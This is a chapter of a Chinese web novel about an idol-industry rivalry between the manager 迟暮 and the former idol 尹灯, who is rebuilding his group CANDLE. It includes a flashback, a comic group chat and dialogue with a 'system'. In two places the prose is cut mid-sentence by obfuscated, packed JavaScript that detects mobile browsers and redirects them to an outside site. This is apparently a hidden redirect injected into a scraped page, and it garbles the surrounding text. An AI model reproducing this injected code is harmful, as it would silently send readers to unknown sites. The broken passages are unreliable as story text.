乖觉的司机早就下车抽烟，车厢里只有迟暮和尹灯两人，隔着座椅靠背，迟暮的呼吸粗重如雷鸣。 长达三分钟的死寂后，尹灯先开了口：“迟曦没和你一起来啊。” 迟暮拨开烟盒，叼了根烟。 但他没有点火，而是无意识地用拇指翻覆烟盒盖。 直到尹灯又说：“你吃晚饭了吗，要不要请我？” 迟暮按住烟盒盖，纸制烟盒被他捏皱，香烟在盒子里无措地滚动。 迟暮长呼一口气，问：“你这次回来，就是故意和我作对？” “讨顿饭也算作对？” “别装傻。”迟暮咬着烟，力气大得像在咬尹灯，“为什么揍罗蒙，就为了帮江灼？” “……” 不知过了多久，他才听到尹灯的答案：“因为你始终不肯见我。这样说你能开心吗？” - 迟暮从前也是偶像。 而且是正经八百的学院尖子生，一毕业就加入星造所。 那时星造所刚敲定了初代Royal Star的计划，迟暮顺理成章成为其中一员。 因为种种原因，Royal Star的成长略显缓慢。 但迟暮陪着团队熬过了最艰难的时光，后来甚至升任队长，备受夸奖，一度带领Royal Star登上顶流榜单。 然而某天，迟暮突然改投点梦所。 而且是以一名经纪人的身份。 没有人知道他的理由，也没有人看好他的选择。 迟暮自己都如没头苍蝇，在偶像和经纪人的转化中处处碰壁，迷茫得好像扎进了雾里。 接着，雾海中闪烁过一个光点。 他极目看去。 彼时还是素人的尹灯跃入视野，一瞬间攫住了他的全部。 迟暮无法用任何准确的词汇概括尹灯。 他只知道那个人站在彼处，就像全世界只剩尹灯脚下的方寸之地。 靠近尹灯的欲望无比混沌又无比强烈。 它无限接近于一种源于本能的求生欲。 “你能帮帮我吗？”年轻的迟暮坦诚相问，“或许这很冒昧，但是，我想……毁掉那群没有自知之明的偶像。” 尹灯看向他。 “给我钱。” 他们一拍即合。 与其说银灯是FLAME的成员，倒不如说FLAME是尹灯的延伸。 因为从一开始，就是尹灯一手策划了FLAME的概念和人选。 是他带领着当时最不被人看好的偶像们一路厮杀。 直到FLAME站上巅峰。 人尽仰慕、纸醉金迷中，银灯忽然说：“我要退出。” 迟暮愣住。 “我不需要钱了。”银灯道，“而且你也没再想毁掉偶像。” “……那不是以前不懂事才说的吗？” “我知道，你只是想毁掉星造所。但是点梦就快成为下一个星造了，你看上去也很享受。” “你开什么玩笑……” 十九岁的银灯直勾勾看着他。 银灯的眼睛总是那么深邃，不戴美瞳时，迟暮甚至怀疑那是一对吸走人们灵魂的黑洞。 银灯继续道：“不是玩笑，是通知。” 他收回目光，“但别担心，就算没有我，FLAME的地位也够稳固，你至少还能享受十年金牌经纪人的美誉。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469537|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “说什么混账话呢。”迟暮说着，点了一支烟，“我才不在乎FLAME，我是可惜你——” 银灯摇头：“你没有可惜我，你都忘了我讨厌烟味。” “……” - 这次迟暮没有点烟。 他都咬破了烟纸，苦涩的烟草味在口腔弥漫，但他没有点烟。 “你觉得我会相信？” 迟暮道，“我这一趟只想警告你，要死就死干净，不要拖泥带水。如果哪天让我在舞台上看到你，我绝对……” 戛然而止。 因为迟暮一时间居然想不出什么能威胁尹灯的话。 但只是停了两秒，迟暮冷笑：“我死了也不想看到你。” “呜哇，好绝情。”尹灯没什么诚意地捧哏。 他给迟暮留的线索绝对是最多的。 迟曦也好、Daybreak的留言也好，包括这次派出所的联系也好，尹灯知道自己有些无赖，但更知道这种无赖对迟暮来说恰到好处。 他道：“因为除了你，我没办法依靠其他人嘛。” 迟暮：“三年了还是这套话术？” 尹灯撇撇嘴：“愿者上钩咯。” 迟暮：“……你就靠这种话迷惑所有人吗？” 真是毫无长进。 迟暮一点不觉得尹灯回来是好事。 因为他很清楚，尹灯永远不会和现在的他同盟。 尹灯的存在，只是一而再再而三地反映他的转变、他的扭曲、他的有违初衷……令他好不容易平定的心境又添波澜。 “所以你到底想要什么？” 迟暮不耐烦地问，“缺钱？还是江灼有你的把柄？安贝格年考又是怎么回事，跟韫玉达成了什么交易吗？” 尹灯挑眉：“我以为迟曦都告诉你了。” “我不觉得你会跟她说实话。”迟暮道，“总之不要妨碍我们赚钱，如果你是穷到想回舞台，要么给我打工，要么我给你五百万，麻溜地滚。” “诶……” “一千万。” “………” 迟暮想给自己一巴掌。 他最了解尹灯，尹灯缺钱只因为他的妹妹。现在没了这一因素，尹灯是不可能为钱出卖原则的。 然而尹灯“啊”了一声：“那我把卡号发你。” 迟暮：“……” 迟暮：“还是打个折吧。” 尹灯低头翻看手机，短短两小时，他刚造出的热搜就消失了。 好像一下子就没人再关心罗蒙的伤势，也没人再关心袭击者的身份。取而代之的是一名演员的桃色绯闻。 迟暮在这方面就是如此熟练。 托他的福，因为要压下罗蒙的关联热度，江灼事件的讨论也被一同压制。 这样一来，他对江灼的承诺就算兑现了。 靠迟暮的一丝私心。 尹灯倒不觉得自己只要复出就一定能击垮迟暮和日出所。 但迟暮好像非常笃定。 笃定到，尹灯觉得他回避的都不是被打败，而是自己站到他的对立面。 “算了，不要你的钱。”尹灯说，“想了一下，发现我最想干掉的就是日出所。” 迟暮：“？” “我的确有必须回归偶像行业的压力。 “但是干掉日出所，是我自己想做的事。” 透过后视镜，迟暮看到了尹灯弯起的眉眼。 他这些年长相没什么变化，只是更瘦了些、更白了些。 笑起来的时候，迟暮好像又看到十七岁的尹灯。 ——可是自己却不是那时的迟暮了。 “好吧。” 迟暮冷冰冰地开口，“接下来，日出所也会不遗余力毁掉你的CANDLE……祝你好运。” 18.舞台序曲-1 迟暮的行动力向来很高。 两人分手当晚，尹灯就收到了来自偶像行业审查协会的回复邮件。 针对他不久前提交的事务所注册申请，协会予以“暂缓通过”。 明文依据是在去年年底，协会里有人倡议抬高事务所注册门槛，确保事务所能给职业偶像提供物质支持和庇护—— 具体抬高到什么标准，没说。 邮件备注： “注册条件的更新条款还在讨论阶段，近期的事务所注册申请我们都会暂缓审批，望理解。” 非常巧妙的“暂缓”。 把人不上不下地拖着，如果追问什么时候恢复流程，对面就会已读不回。 尹灯很熟悉这套手法，FLMAE起步时也曾被星造所如此针对。 当时迟暮对星造所的下作手段骂不绝口，现在却用得比前辈更熟。不愧是青出于蓝而胜于蓝。 但尹灯不会因此鄙视迟暮。 因为他俩能成朋友，就是基于“招不在损，有用就行”这一共识。 就结果来看，这一招完全卡住了CANDLE的命脉。 事务所不能通过注册，IIT就不会接受陈凡和苏雪枝的报名； 陈凡和苏雪枝不能通过IIT，事务所的职业偶像就只有韫玉和江灼两人，迟暮肯定会在更新后的注册条件里大做文章——比如限定一家事务所至少有大于两名职业偶像。 他知道江灼离开星造，曝光度就会锐减； 也知道韫玉的身体条件，年纪越大，就离舞台越远； 包括苏雪枝，他已经高二，总不能真把高三都耗费在偶像上…… 对于CANDLE的大家来说，时间是最要紧的东西。 更别提尹灯还背着系统的一年限时。 半夜十二点，一个名为“烛光鸭店”的飞信群聊正式建立。 滴蜡鸭王：[有人吗？] 天道酬勤：[俺在！！！！！！！] 滴蜡鸭王：[小孩子可以不在，其他人呢 @宋 @AAA绝赞咖啡代购曦姐] 宋：[（图片）] 图片内容是宋非泽垫付的罗蒙医疗缴费单。 滴蜡鸭王：[地址来，答应了请吃饭的，给你点外卖（勾引）] 滴蜡鸭王：[@AAA绝赞咖啡代购曦姐安排一下（握手）] AAA绝赞咖啡代购曦姐：[带着你的emoji一起滚] AAA绝赞咖啡代购曦姐：[你小子轻轻两拳，害老娘加班一宿^v^] 滴蜡鸭王：[你也安排（爱心）] 宋：[（图片）] 图片内容是点梦所的办公室。 因为莫名其妙卷进了这次事件，宋非泽也在加班。 滴蜡鸭王：[所以说，找工作，企业文化很重要（玫瑰）] 滴蜡鸭王：[CANDLE随时欢迎二位弃暗投明ovo] AAA绝赞咖啡代购曦姐：[有事说事，业界精英女强人没空和你唠闲嗑] 尹灯便言归正传。 滴蜡鸭王：[CANDLE的注册申请被搁置了，但我们还要报名IIT（可怜）] 天道酬勤：[！！！！！] 天道酬勤：[呜呜呜呜呜呜呜凭什么！] 天道酬勤：[尹先生你不要伤心，俺这就上楼陪你！] Seth：[批复内容是？] 滴蜡鸭王：[是说准备更新注册条件，所以近期的申请都要暂缓审批（枯萎玫瑰）] 滴蜡鸭王：[@天道酬勤在你改掉口癖前，我打算把楼梯拆了（亲亲）] Seth：[程序上似乎挑不出错] Seth：[我查了一下，相关倡议在去年就有提及，类似的搁置行为也有先例] Seth：[但是参考那份倡议书，至少会新增注册资金、艺员人数、训练资源几个维度的审核，对我们有些不利] 天道酬勤：[小玉都这么说？那咋办！！！] 尹灯没有说话。 韫玉一时也陷入沉默。 过了二十分钟，却是宋非泽打破沉默。 宋：[（图片）] 这回是一张外卖送到的图片。 Daybreak的咖啡刚刚送到办公桌，杯壁还沁着水珠，大有在数九寒天冻死他的意思。 AAA绝赞咖啡代购曦姐：[我的咖啡也到了] AAA绝赞咖啡代购曦姐：[但你不会又刷的我哥送你的卡吧（擦汗）] 滴蜡鸭王：[额度剩太多（害羞）] AAA绝赞咖啡代购曦姐：[亲爱的这并不好笑] AAA绝赞咖啡代购曦姐：[总之谢谢咖啡，我先退群了，这事爱莫能助，抱歉] 但在她退群之前，宋非泽先开了口。 宋：[我帮你。] 宋：[点梦所的IIT名额还有剩余，我可以考虑推荐你家偶像。] 天道酬勤：[咦？？？] 宋：[算我对韫玉的弥补。] Seth：[嗯？] 宋：[跟着这种经纪人，未来很渺茫。] 天道酬勤：[！！！] 天道酬勤：[就算你同意帮我们，也不可以说尹先生坏话！！！] 天道酬勤：[话说回来你到底是谁啊？！] 宋：[……] 天道酬勤：[哦哦小雪私聊俺了，您是现在FLAME的经纪人啊！那为什么不把银灯请回FLAME呢！你们现在的队员都没有银灯大人那种感觉，难道你不觉得吗？？] 宋：[。。。] Seth：[感谢您施以援手，但我和任何事务所签约都是双向选择，最后无缘和贵所合作，虽然遗憾，不过冥冥之中，我相信主的指引] Seth：[至少当下我很喜欢CANDLE，且很荣幸被尹先生看中] Seth：[（转账）] Seth：[这是罗蒙的医药费，今天的事辛苦您了] 宋非泽一辈子呼风唤雨，还是头一次被人左右夹击。 而且夹击的俩人岁数加起来没他鞋码大。 这种场景千载难逢，以至于迟曦都忘了退群，忙着咔咔截图。 这下连宋非泽的黑历史都让她拿到了。 爽。 宋非泽没有再在群里说话，烛光鸭店里鸦雀无声。 倒不是尹灯不想斡旋，他从宋非泽献策之后就心满意足地退场，继续规划陈凡和苏雪枝的后续训练去了。 等到凌晨四点，尹灯再次看向群聊。 滴蜡鸭王：[咋不领？] 滴蜡鸭王：[我能领吗？] - 这场简短的对话没有改变CANDLE的处境。 虽然有宋非泽带来一线转机，但是尹灯明白，只要迟暮卡死注册条件，即便陈凡和苏雪枝通过IIT，这支队伍还是不能以CANDLE事务所的名义活动。 【太坏了！！】系统愤慨的声音在他颅内回荡。 尹灯又熬了一次通宵，靠在椅子上转笔：“也没事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474486|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大不了加盟一家事务所，反正CANDLE的人员已经定了。” 就像当初的迟暮，也是暂时委身点梦所，打造自己的FLAME。 这样一来还能借用老牌事务所的资源，无需这么辛苦。 唯一弊端就是和现在的FLAME一样。 哪怕他能带走大半成员，“FLAME”的名字还是归属于点梦所。 看着面目全非的FLAME，感性一点说，尹灯可以理解队友和粉丝的难过。 【宿主都不会觉得不甘心吗？！】系统大怒，【迟暮这个人一点也不君子，统讨厌他！】 尹灯转一圈笔：“不甘心的人多了去。” 系统：【可是迟暮这招太阴损！】 尹灯笑了：“那你觉得宋非泽为什么同意帮我？” 【不是为了弥补韫玉吗？结果被韫玉啪啪打脸，嘿嘿嘿！】 “这个理由除了你只有陈凡会信。” 【诶？？？】 “罗蒙的谅解书开得这么快，怎么会是他自愿。”尹灯伸个懒腰，“他是不敢和宋非泽计较，也怕宋非泽真的卷进这件事。” “但他忘了宋非泽斩草除根的性格，如果没得罪罗蒙，宋非泽会独善其身，可已经被我拉下场，他就会担心星造所报复，不得不考虑把罗蒙踩死。” 系统听懵了：【他踩罗蒙，关CANDLE什么事？】 “群里拉了江灼，宋非泽也在琢磨我为什么帮江灼出头。” 尹灯轻笑，“他知道，只要CANDLE成功组建，江灼就会离开Royal Star。” “别看网上都在骂江灼，更要看到上季度和Royal Star关联的讨论热度，70%都来自江灼。还不提江灼的粉丝们，消费力和活跃度都在圈内能排前五。” 【啊——真的诶！】 “所以，比起寒酸得连注册都过不了的CANDLE，宋非泽当然更想解决去年热度仅次于FLAME的Royal Star。他还得谢谢我呢。” 【天才宿主！！！】 尹灯笑了一下，眼里的喜意却没多深。 其实他很不喜欢这样的勾心斗角。 但迟暮无意识中又把尹灯拽回了和FLAME初期相似的处境。 ——不伤害别人，就会伤害同伴。 窗帘缝里透出天边蒙蒙亮的光色，尹灯总算感到上涌的困意。 耳机里随机播放着智能计算的今日推荐，不知怎么，竟然跳出了被他拉黑已久的前FLAME的单曲。 正好是初见陈凡和苏雪枝那天，小朋友们竭力演绎的《Flame Storm》。 等到歌手开嗓，尹灯回过味来。 难怪被推荐了，因为这首是翻唱，歌手的声线和前FLAME的成员迥然不同。 但是，很热情。 就像彼时的陈凡。 也像曾经的FLAME。 要让这样热诚信仰舞台、信赖他的人们受伤，尹灯无法接受。 【那我们明天要做什么？】 尹灯躺上床：“日程计划第17页。” 【后天呢？】 “第24页。” 【吼吼，统感受到了宿主身上澎湃的强动力！快告诉统，是什么激励宿主这么认真地规划CANDLE！是不是对偶像的爱？对舞台的爱？是不是突然好想回归舞台，重登顶流？！】 “是不好好工作就不能去死。” 系统：【……】 系统：【当统没问。】